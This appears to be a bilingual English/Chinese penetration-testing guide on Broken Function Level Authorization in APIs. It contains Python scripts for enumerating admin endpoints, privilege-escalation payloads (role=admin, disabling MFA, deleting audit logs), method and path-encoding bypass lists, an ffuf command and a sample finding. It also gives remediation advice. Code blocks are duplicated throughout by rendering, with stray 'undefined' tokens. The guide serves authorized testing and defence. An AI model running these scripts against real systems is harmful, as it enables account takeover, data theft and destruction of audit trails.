exploiting-broken-function-level-authorization
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseExploiting Broken Function Level Authorization
利用函数级授权失效(Broken Function Level Authorization)
When to Use
何时使用
- Testing whether regular users can access administrative API endpoints by direct URL access
- Assessing APIs for vertical privilege escalation where users can invoke functions above their role
- Evaluating if API gateways and middleware consistently enforce function-level access controls
- Testing role-based access control (RBAC) implementation across all API endpoints and HTTP methods
- Validating that API documentation does not expose admin endpoint paths that lack authorization
Do not use without written authorization. BFLA testing involves attempting to execute administrative functions with unauthorized credentials.
- 测试普通用户是否能够通过直接访问 URL 访问管理 API 端点
- 评估 API 是否存在垂直权限提升问题,即用户能够调用超出其角色权限的功能
- 评估 API gateway 和 middleware 是否始终一致地执行函数级访问控制
- 针对所有 API 端点和 HTTP 方法测试基于角色的访问控制(RBAC)实现
- 验证 API 文档是否暴露缺少授权检查的管理员端点路径
未经书面授权时不要使用。 BFLA 测试涉及尝试使用未授权凭据执行管理功能。
Prerequisites
前置条件
- Written authorization specifying target API and administrative functions in scope
- Test accounts at multiple privilege levels: regular user, moderator, admin, super-admin
- API documentation (OpenAPI/Swagger spec) that may list admin endpoints
- Burp Suite Professional for request interception and manipulation
- Python 3.10+ with library
requests - Knowledge of common admin endpoint naming conventions
- 书面授权,需明确指定目标 API 和授权测试范围内的管理功能
- 多个权限级别的测试账户:普通用户、moderator、admin、super-admin
- 可能列出管理员端点的 API 文档(OpenAPI/Swagger spec)
- 用于请求拦截和操纵的 Burp Suite Professional
- Python 3.10+,并安装 库
requests - 常见管理员端点命名约定相关知识
Workflow
工作流
Step 1: Administrative Endpoint Discovery
步骤 1:管理端点发现
python
import requests
import itertools
BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}python
import requests
import itertools
BASE_URL = "https://target-api.example.com"
regular_user_headers = {"Authorization": "Bearer <regular_user_token>"}
admin_headers = {"Authorization": "Bearer <admin_token>"}Common admin endpoint patterns
Common admin endpoint patterns
ADMIN_PATH_PATTERNS = [
"/api/v1/admin",
"/api/v1/admin/users",
"/api/v1/admin/settings",
"/api/v1/admin/config",
"/api/v1/admin/logs",
"/api/v1/admin/dashboard",
"/api/v1/admin/reports",
"/api/v1/admin/billing",
"/api/v1/manage",
"/api/v1/management",
"/api/v1/internal",
"/api/v1/internal/users",
"/api/v1/system",
"/api/v1/system/health",
"/api/v1/console",
"/api/v1/users/admin",
"/api/v1/roles",
"/api/v1/permissions",
"/api/v1/audit",
"/api/v1/audit/logs",
"/api/internal/",
"/admin/api/",
"/management/api/",
"/backoffice/api/",
]
ADMIN_PATH_PATTERNS = [
"/api/v1/admin",
"/api/v1/admin/users",
"/api/v1/admin/settings",
"/api/v1/admin/config",
"/api/v1/admin/logs",
"/api/v1/admin/dashboard",
"/api/v1/admin/reports",
"/api/v1/admin/billing",
"/api/v1/manage",
"/api/v1/management",
"/api/v1/internal",
"/api/v1/internal/users",
"/api/v1/system",
"/api/v1/system/health",
"/api/v1/console",
"/api/v1/users/admin",
"/api/v1/roles",
"/api/v1/permissions",
"/api/v1/audit",
"/api/v1/audit/logs",
"/api/internal/",
"/admin/api/",
"/management/api/",
"/backoffice/api/",
]
Administrative function patterns (POST/PUT/DELETE operations)
Administrative function patterns (POST/PUT/DELETE operations)
ADMIN_FUNCTIONS = [
("POST", "/api/v1/users", {"role": "admin"}), # Create user with admin role
("PUT", "/api/v1/users/1/role", {"role": "admin"}), # Change user role
("DELETE", "/api/v1/users/1002", None), # Delete another user
("POST", "/api/v1/settings", {"maintenance": True}), # Modify system settings
("GET", "/api/v1/users?role=admin", None), # List admin users
("POST", "/api/v1/export/users", None), # Export user data
("POST", "/api/v1/users/1002/disable", None), # Disable user account
("POST", "/api/v1/users/1002/reset-password", None), # Force password reset
("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security
("DELETE", "/api/v1/audit/logs", None), # Delete audit logs
]
ADMIN_FUNCTIONS = [
("POST", "/api/v1/users", {"role": "admin"}), # Create user with admin role
("PUT", "/api/v1/users/1/role", {"role": "admin"}), # Change user role
("DELETE", "/api/v1/users/1002", None), # Delete another user
("POST", "/api/v1/settings", {"maintenance": True}), # Modify system settings
("GET", "/api/v1/users?role=admin", None), # List admin users
("POST", "/api/v1/export/users", None), # Export user data
("POST", "/api/v1/users/1002/disable", None), # Disable user account
("POST", "/api/v1/users/1002/reset-password", None), # Force password reset
("PUT", "/api/v1/config/security", {"mfa_required": False}),# Disable security
("DELETE", "/api/v1/audit/logs", None), # Delete audit logs
]
Phase 1: Discover accessible admin endpoints
Phase 1: Discover accessible admin endpoints
print("Phase 1: Admin Endpoint Discovery")
for path in ADMIN_PATH_PATTERNS:
for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
try:
resp = requests.request(method, f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404, 405):
print(f" [ACCESSIBLE] {method} {path} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
undefinedprint("Phase 1: Admin Endpoint Discovery")
for path in ADMIN_PATH_PATTERNS:
for method in ["GET", "POST", "PUT", "DELETE", "PATCH"]:
try:
resp = requests.request(method, f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404, 405):
print(f" [ACCESSIBLE] {method} {path} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
undefinedStep 2: Role-Based Function Testing
步骤 2:基于角色的功能测试
python
undefinedpython
undefinedDefine roles and their expected access levels
Define roles and their expected access levels
ROLES = {
"unauthenticated": {},
"regular_user": {"Authorization": "Bearer <regular_token>"},
"moderator": {"Authorization": "Bearer <moderator_token>"},
"admin": {"Authorization": "Bearer <admin_token>"},
}
ROLES = {
"unauthenticated": {},
"regular_user": {"Authorization": "Bearer <regular_token>"},
"moderator": {"Authorization": "Bearer <moderator_token>"},
"admin": {"Authorization": "Bearer <admin_token>"},
}
Endpoints with expected minimum role requirement
Endpoints with expected minimum role requirement
ROLE_MATRIX = [
# (method, endpoint, body, minimum_role)
("GET", "/api/v1/users/me", None, "regular_user"),
("GET", "/api/v1/users", None, "admin"),
("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"),
("DELETE", "/api/v1/users/1002", None, "admin"),
("GET", "/api/v1/admin/settings", None, "admin"),
("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
("GET", "/api/v1/reports/financial", None, "admin"),
("POST", "/api/v1/users/1002/ban", None, "moderator"),
("GET", "/api/v1/audit/logs", None, "admin"),
("POST", "/api/v1/export/database", None, "admin"),
("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"),
]
ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"]
results = []
for method, endpoint, body, min_role in ROLE_MATRIX:
min_index = ROLE_HIERARCHY.index(min_role)
for role_name, role_headers in ROLES.items():
role_index = ROLE_HIERARCHY.index(role_name)
if role_index < min_index: # This role should NOT have access
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=role_headers, json=body, timeout=5)
if resp.status_code not in (401, 403):
results.append({
"endpoint": f"{method} {endpoint}",
"role_used": role_name,
"expected_min_role": min_role,
"status_code": resp.status_code,
"vulnerable": True
})
print(f" [BFLA] {role_name} accessed {method} {endpoint} (requires {min_role}) -> {resp.status_code}")
print(f"\nTotal BFLA findings: {len(results)}")
undefinedROLE_MATRIX = [
# (method, endpoint, body, minimum_role)
("GET", "/api/v1/users/me", None, "regular_user"),
("GET", "/api/v1/users", None, "admin"),
("POST", "/api/v1/users", {"email":"x@y.com","name":"X","role":"user"}, "admin"),
("DELETE", "/api/v1/users/1002", None, "admin"),
("GET", "/api/v1/admin/settings", None, "admin"),
("PUT", "/api/v1/admin/settings", {"feature_flag": True}, "admin"),
("GET", "/api/v1/reports/financial", None, "admin"),
("POST", "/api/v1/users/1002/ban", None, "moderator"),
("GET", "/api/v1/audit/logs", None, "admin"),
("POST", "/api/v1/export/database", None, "admin"),
("PUT", "/api/v1/users/1002/role", {"role": "admin"}, "admin"),
]
ROLE_HIERARCHY = ["unauthenticated", "regular_user", "moderator", "admin"]
results = []
for method, endpoint, body, min_role in ROLE_MATRIX:
min_index = ROLE_HIERARCHY.index(min_role)
for role_name, role_headers in ROLES.items():
role_index = ROLE_HIERARCHY.index(role_name)
if role_index < min_index: # This role should NOT have access
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=role_headers, json=body, timeout=5)
if resp.status_code not in (401, 403):
results.append({
"endpoint": f"{method} {endpoint}",
"role_used": role_name,
"expected_min_role": min_role,
"status_code": resp.status_code,
"vulnerable": True
})
print(f" [BFLA] {role_name} accessed {method} {endpoint} (requires {min_role}) -> {resp.status_code}")
print(f"\nTotal BFLA findings: {len(results)}")
undefinedStep 3: HTTP Method Manipulation
步骤 3:HTTP 方法操纵
python
undefinedpython
undefinedTest if authorization is method-dependent
Test if authorization is method-dependent
def test_method_based_bfla(endpoint, authorized_method="GET"):
"""Test if authorization only applies to certain HTTP methods."""
methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]
print(f"\nTesting method-based BFLA on {endpoint}:")
for method in methods:
try:
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=regular_user_headers,
json={"test": True} if method in ("POST","PUT","PATCH") else None,
timeout=5)
status = "ACCESSIBLE" if resp.status_code not in (401, 403, 405) else "blocked"
if status == "ACCESSIBLE":
print(f" [{status}] {method} {endpoint} -> {resp.status_code}")
except requests.exceptions.RequestException:
passdef test_method_based_bfla(endpoint, authorized_method="GET"):
"""Test if authorization only applies to certain HTTP methods."""
methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE"]
print(f"\nTesting method-based BFLA on {endpoint}:")
for method in methods:
try:
resp = requests.request(method, f"{BASE_URL}{endpoint}",
headers=regular_user_headers,
json={"test": True} if method in ("POST","PUT","PATCH") else None,
timeout=5)
status = "ACCESSIBLE" if resp.status_code not in (401, 403, 405) else "blocked"
if status == "ACCESSIBLE":
print(f" [{status}] {method} {endpoint} -> {resp.status_code}")
except requests.exceptions.RequestException:
passAdmin endpoints to test
Admin endpoints to test
test_method_based_bfla("/api/v1/admin/users")
test_method_based_bfla("/api/v1/admin/settings")
test_method_based_bfla("/api/v1/users/1002")
undefinedtest_method_based_bfla("/api/v1/admin/users")
test_method_based_bfla("/api/v1/admin/settings")
test_method_based_bfla("/api/v1/users/1002")
undefinedStep 4: Parameter-Based Privilege Escalation
步骤 4:基于参数的权限提升
python
undefinedpython
undefinedTest if adding admin parameters to regular requests enables admin functions
Test if adding admin parameters to regular requests enables admin functions
privilege_escalation_tests = [
# Test 1: Add role parameter to self-update
{
"name": "Self role elevation via profile update",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "role": "admin"},
},
# Test 2: Add admin flag
{
"name": "Admin flag injection",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True},
},
# Test 3: Modify user ID in body to target other users
{
"name": "User ID substitution in body",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"id": 1, "user_id": 1, "role": "admin"},
},
# Test 4: Access admin function via regular endpoint with admin params
{
"name": "Hidden admin parameter",
"method": "GET",
"endpoint": "/api/v1/users?admin=true&debug=true&internal=true",
"body": None,
},
# Test 5: Override tenant/organization
{
"name": "Tenant override",
"method": "GET",
"endpoint": "/api/v1/users",
"body": None,
"extra_headers": {"X-Tenant-Id": "admin-org", "X-Organization": "1"},
},
]
for test in privilege_escalation_tests:
extra = test.get("extra_headers", {})
resp = requests.request(
test["method"],
f"{BASE_URL}{test['endpoint']}",
headers={**regular_user_headers, **extra},
json=test["body"],
timeout=5
)
if resp.status_code in (200, 201, 204):
print(f"[BFLA] {test['name']}: {resp.status_code}")
# Check if role actually changed
if "role" in test.get("body", {}):
me_resp = requests.get(f"{BASE_URL}/api/v1/users/me",
headers=regular_user_headers)
if me_resp.status_code == 200:
current_role = me_resp.json().get("role", "unknown")
print(f" Current role after exploit: {current_role}")
undefinedprivilege_escalation_tests = [
# Test 1: Add role parameter to self-update
{
"name": "Self role elevation via profile update",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "role": "admin"},
},
# Test 2: Add admin flag
{
"name": "Admin flag injection",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"name": "Test User", "is_admin": True, "isAdmin": True, "admin": True},
},
# Test 3: Modify user ID in body to target other users
{
"name": "User ID substitution in body",
"method": "PUT",
"endpoint": "/api/v1/users/me",
"body": {"id": 1, "user_id": 1, "role": "admin"},
},
# Test 4: Access admin function via regular endpoint with admin params
{
"name": "Hidden admin parameter",
"method": "GET",
"endpoint": "/api/v1/users?admin=true&debug=true&internal=true",
"body": None,
},
# Test 5: Override tenant/organization
{
"name": "Tenant override",
"method": "GET",
"endpoint": "/api/v1/users",
"body": None,
"extra_headers": {"X-Tenant-Id": "admin-org", "X-Organization": "1"},
},
]
for test in privilege_escalation_tests:
extra = test.get("extra_headers", {})
resp = requests.request(
test["method"],
f"{BASE_URL}{test['endpoint']}",
headers={**regular_user_headers, **extra},
json=test["body"],
timeout=5
)
if resp.status_code in (200, 201, 204):
print(f"[BFLA] {test['name']}: {resp.status_code}")
# Check if role actually changed
if "role" in test.get("body", {}):
me_resp = requests.get(f"{BASE_URL}/api/v1/users/me",
headers=regular_user_headers)
if me_resp.status_code == 200:
current_role = me_resp.json().get("role", "unknown")
print(f" Current role after exploit: {current_role}")
undefinedStep 5: API Version and Path Traversal for Admin Access
步骤 5:利用 API 版本和路径遍历访问管理功能
python
undefinedpython
undefinedTest if older or alternative API versions lack authorization
Test if older or alternative API versions lack authorization
api_versions = ["v1", "v2", "v3", "v0", "beta", "alpha", "internal", "legacy", "staging"]
admin_paths = ["/admin/users", "/admin/settings", "/users", "/config"]
print("Testing API version bypass:")
for version in api_versions:
for path in admin_paths:
full_path = f"/api/{version}{path}"
resp = requests.get(f"{BASE_URL}{full_path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [BYPASS] {full_path} -> {resp.status_code}")
api_versions = ["v1", "v2", "v3", "v0", "beta", "alpha", "internal", "legacy", "staging"]
admin_paths = ["/admin/users", "/admin/settings", "/users", "/config"]
print("Testing API version bypass:")
for version in api_versions:
for path in admin_paths:
full_path = f"/api/{version}{path}"
resp = requests.get(f"{BASE_URL}{full_path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [BYPASS] {full_path} -> {resp.status_code}")
Test path-based bypass techniques
Test path-based bypass techniques
bypass_paths = [
"/api/v1/admin/users",
"/api/v1/Admin/users", # Case variation
"/api/v1/ADMIN/users",
"/api/v1/%61dmin/users", # URL encoding
"/api/v1/./admin/users", # Path traversal
"/api/v1/admin/../admin/users", # Double path
"/api/v1/;/admin/users", # Semicolon insertion
"/api/v1/admin/users.json", # Extension addition
"/api/v1/admin/users/", # Trailing slash
]
for path in bypass_paths:
resp = requests.get(f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [PATH BYPASS] {path} -> {resp.status_code}")
undefinedbypass_paths = [
"/api/v1/admin/users",
"/api/v1/Admin/users", # Case variation
"/api/v1/ADMIN/users",
"/api/v1/%61dmin/users", # URL encoding
"/api/v1/./admin/users", # Path traversal
"/api/v1/admin/../admin/users", # Double path
"/api/v1/;/admin/users", # Semicolon insertion
"/api/v1/admin/users.json", # Extension addition
"/api/v1/admin/users/", # Trailing slash
]
for path in bypass_paths:
resp = requests.get(f"{BASE_URL}{path}",
headers=regular_user_headers, timeout=5)
if resp.status_code not in (401, 403, 404):
print(f" [PATH BYPASS] {path} -> {resp.status_code}")
undefinedKey Concepts
核心概念
| Term | Definition |
|---|---|
| BFLA | Broken Function Level Authorization (OWASP API5:2023) - regular users can invoke administrative or privileged API functions without proper authorization checks |
| Vertical Privilege Escalation | Accessing functions or data restricted to a higher privilege level, such as regular user accessing admin endpoints |
| RBAC | Role-Based Access Control - authorization model where permissions are assigned to roles and roles are assigned to users |
| Function-Level Authorization | Access control checks that verify whether the authenticated user has permission to invoke a specific API function |
| Admin Endpoint | API endpoints intended only for administrative users, typically managing users, settings, audit logs, and system configuration |
| Forced Browsing | Directly accessing URLs that are not linked in the application but exist on the server, bypassing UI-level access restrictions |
| 术语 | 定义 |
|---|---|
| BFLA | 函数级授权失效(Broken Function Level Authorization,OWASP API5:2023)——普通用户无需经过适当授权检查即可调用管理型或高权限 API 功能 |
| 垂直权限提升 | 访问受限于更高权限级别的功能或数据,例如普通用户访问管理员端点 |
| RBAC | 基于角色的访问控制——一种将权限分配给角色、再将角色分配给用户的授权模型 |
| 函数级授权 | 用于验证已认证用户是否有权调用特定 API 功能的访问控制检查 |
| 管理端点 | 仅供管理用户使用的 API 端点,通常用于管理用户、设置、审计日志和系统配置 |
| 强制浏览 | 直接访问应用中未提供链接、但实际存在于服务器上的 URL,从而绕过 UI 级别的访问限制 |
Tools & Systems
工具与系统
- Burp Suite Professional: Intercept requests as admin, then replay with regular user token to test function-level authorization
- OWASP ZAP: Forced Browse scanner to discover hidden administrative endpoints and test access control
- Autorize (Burp Extension): Automated BFLA detection by replaying admin requests with regular user credentials
- ffuf: Endpoint discovery tool:
ffuf -u https://api.example.com/api/v1/FUZZ -w admin-endpoints.txt -H "Authorization: Bearer user_token" - Nuclei: Template-based scanner with BFLA detection templates for common frameworks
- Burp Suite Professional:以 admin 身份拦截请求,然后使用 regular user token 重放,以测试函数级授权
- OWASP ZAP:使用 Forced Browse scanner 发现隐藏的管理员端点并测试访问控制
- Autorize(Burp Extension):使用普通用户凭据重放管理员请求,自动检测 BFLA
- ffuf:端点发现工具:
ffuf -u https://api.example.com/api/v1/FUZZ -w admin-endpoints.txt -H "Authorization: Bearer user_token" - Nuclei:基于模板的扫描器,包含针对常见框架的 BFLA 检测模板
Common Scenarios
常见场景
Scenario: SaaS Multi-Tenant API BFLA Assessment
场景:SaaS 多租户 API BFLA 评估
Context: A SaaS platform has user, moderator, and admin roles. The API serves a React frontend that conditionally renders admin features based on the user's role. The backend API should enforce the same restrictions independently.
Approach:
- Map admin endpoints from the frontend JavaScript bundle: search for ,
/admin/, and role-check conditionals/manage/ - Discover 12 admin endpoints including user management, billing, feature flags, and audit logs
- Test each admin endpoint with regular user token:
- returns 200 with all user data (BFLA - read)
GET /api/v1/admin/users - accepts role change (BFLA - write)
PUT /api/v1/admin/users/1002/role - returns 200 (BFLA - destructive)
DELETE /api/v1/audit/logs
- Test method-based bypass: returns 403, but
GET /api/v1/admin/settingsreturns 200PUT /api/v1/admin/settings - Find that the moderator role can access all admin endpoints except
DELETE /api/v1/admin/billing - Discover exists without any authorization (shadow API version)
/api/v2/admin/users
Pitfalls:
- Only testing GET requests on admin endpoints while missing BFLA in POST/PUT/DELETE methods
- Not discovering admin endpoints because they are not linked in the UI (requires endpoint enumeration)
- Assuming RBAC is enforced consistently because one admin endpoint returned 403
- Missing BFLA in internal/undocumented API endpoints not listed in the OpenAPI specification
- Not testing with all available role levels (moderator may have partial admin access)
上下文:某个 SaaS 平台具有普通用户、moderator 和 admin 角色。该 API 为 React 前端提供服务,前端会根据用户角色有条件地渲染管理功能。后端 API 应独立执行相同的限制。
方法:
- 从前端 JavaScript bundle 映射管理员端点:搜索 、
/admin/和角色检查条件/manage/ - 发现 12 个管理员端点,包括用户管理、计费、功能开关和审计日志
- 使用普通用户 token 测试每个管理员端点:
- 返回 200 和所有用户数据(BFLA - 读取)
GET /api/v1/admin/users - 接受角色变更(BFLA - 写入)
PUT /api/v1/admin/users/1002/role - 返回 200(BFLA - 破坏性操作)
DELETE /api/v1/audit/logs
- 测试基于方法的绕过:返回 403,但
GET /api/v1/admin/settings返回 200PUT /api/v1/admin/settings - 发现 moderator 角色能够访问除 之外的所有管理员端点
DELETE /api/v1/admin/billing - 发现 存在且没有任何授权检查(影子 API 版本)
/api/v2/admin/users
常见陷阱:
- 只测试管理员端点的 GET 请求,从而遗漏 POST/PUT/DELETE 方法中的 BFLA
- 由于管理员端点未在 UI 中提供链接而未能发现它们(需要执行端点枚举)
- 因为某个管理员端点返回 403,就假定 RBAC 得到了始终一致的执行
- 遗漏 OpenAPI 规范中未列出的内部或未公开 API 端点中的 BFLA
- 未使用所有可用角色级别进行测试(moderator 可能拥有部分管理访问权限)
Output Format
输出格式
undefinedundefinedFinding: Regular Users Can Access Admin User Management API
Finding: Regular Users Can Access Admin User Management API
ID: API-BFLA-001
Severity: Critical (CVSS 9.8)
OWASP API: API5:2023 - Broken Function Level Authorization
Affected Endpoints:
- GET /api/v1/admin/users (read all users)
- PUT /api/v1/admin/users/{id}/role (change user roles)
- DELETE /api/v1/audit/logs (delete audit trail)
- PUT /api/v1/admin/settings (modify system config)
Description:
The API does not enforce function-level authorization on administrative
endpoints. A regular user can directly call admin API endpoints and
execute administrative functions including user management, role changes,
system configuration, and audit log deletion. The frontend hides admin
features based on role, but the backend API does not enforce the same
restrictions.
Proof of Concept:
- Authenticate as regular user: POST /api/v1/auth/login
- Call admin endpoint: GET /api/v1/admin/users -> 200 OK (returns all 50,000 users)
- Elevate own role: PUT /api/v1/admin/users/me/role {"role":"admin"} -> 200 OK
- Delete audit logs: DELETE /api/v1/audit/logs -> 204 No Content
Impact:
Any authenticated user can take full administrative control of the
platform, access all user data, modify roles, change system configuration,
and delete audit logs to cover their tracks.
Remediation:
- Implement RBAC middleware that checks user role before executing any admin function
- Apply authorization at the route/controller level, not just the frontend
- Use decorator/annotation-based authorization (e.g., @RequireRole("admin"))
- Add automated BFLA tests to the CI/CD pipeline that test every endpoint with every role
- Implement immutable audit logging that admin users cannot delete
undefinedID: API-BFLA-001
Severity: Critical (CVSS 9.8)
OWASP API: API5:2023 - Broken Function Level Authorization
Affected Endpoints:
- GET /api/v1/admin/users (read all users)
- PUT /api/v1/admin/users/{id}/role (change user roles)
- DELETE /api/v1/audit/logs (delete audit trail)
- PUT /api/v1/admin/settings (modify system config)
Description:
The API does not enforce function-level authorization on administrative
endpoints. A regular user can directly call admin API endpoints and
execute administrative functions including user management, role changes,
system configuration, and audit log deletion. The frontend hides admin
features based on role, but the backend API does not enforce the same
restrictions.
Proof of Concept:
- Authenticate as regular user: POST /api/v1/auth/login
- Call admin endpoint: GET /api/v1/admin/users -> 200 OK (returns all 50,000 users)
- Elevate own role: PUT /api/v1/admin/users/me/role {"role":"admin"} -> 200 OK
- Delete audit logs: DELETE /api/v1/audit/logs -> 204 No Content
Impact:
Any authenticated user can take full administrative control of the
platform, access all user data, modify roles, change system configuration,
and delete audit logs to cover their tracks.
Remediation:
- Implement RBAC middleware that checks user role before executing any admin function
- Apply authorization at the route/controller level, not just the frontend
- Use decorator/annotation-based authorization (e.g., @RequireRole("admin"))
- Add automated BFLA tests to the CI/CD pipeline that test every endpoint with every role
- Implement immutable audit logging that admin users cannot delete
undefined